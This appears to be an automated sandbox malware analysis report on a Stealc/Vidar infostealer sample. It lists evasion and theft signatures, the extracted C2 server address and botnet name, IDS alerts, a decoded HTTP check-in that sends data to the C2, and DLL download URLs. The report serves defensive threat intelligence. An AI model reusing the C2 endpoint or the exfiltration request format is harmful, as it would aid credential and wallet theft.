Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1538054
MD5:	ea1bf920607c9bb2fd526e099bf44660
SHA1:	fbd7c63afaac94463f9a5e57bebcdea57ae098e6
SHA256:	ecfbc0fbf8e0d515cac5085d1bd1e318aba208b319f1b3e834495f06c364fa43
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6868 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EA1BF920607C9BB2FD526E099BF44660)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1686260675.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6868	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6868	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6868	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6868	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.6f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T06:40:03.162772+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T06:40:03.156739+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T06:40:03.508270+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T06:40:04.906686+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T06:40:03.525854+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T06:40:02.803285+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T06:40:05.486695+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:16.556973+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:18.834601+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:19.432497+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:20.253949+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:21.752302+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-20T06:40:22.367795+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 38 38 41 36 36 45 42 42 36 39 33 31 39 36 39 33 34 38 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 2d 2d 0d 0a Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="hwid"8588A66EBB693196934881------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="build"doma------IDHIEGIIIECAKEBFBAAE--

Source: file.exe, 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1964639333.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllm
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll5
Source: file.exe, 00000000.00000002.1964639333.0000000001262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllUser
Source: file.exe, 00000000.00000002.1964639333.0000000001262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllp
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllw
Source: file.exe, 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dlly
Source: file.exe, 00000000.00000002.1964639333.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1964639333.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dlle
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1964639333.0000000001262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3d
Source: file.exe, 00000000.00000003.1807587469.00000000012CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php5
Source: file.exe, 00000000.00000002.1964639333.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpEGIECGCBKFIEBGCAA
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFirefox
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.1964639333.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpem
Source: file.exe, 00000000.00000002.1964639333.0000000001262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpn
Source: file.exe, 00000000.00000002.1964639333.0000000001262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpr
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpx
Source: file.exe, 00000000.00000002.1964639333.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37S
Source: file.exe, 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1976081255.000000001D809000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1984700175.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AFIEGIECGCBKFIEBGCAA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000003.1794962730.000000001D70C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1964639333.0000000001291000.00000004.00000020.00020000.00000000.sdmp, AFIEGIECGCBKFIEBGCAA.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1807507704.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, IIJDBGDG.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1926599554.00000000299EE000.00000004.00000020.00020000.00000000.sdmp, KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
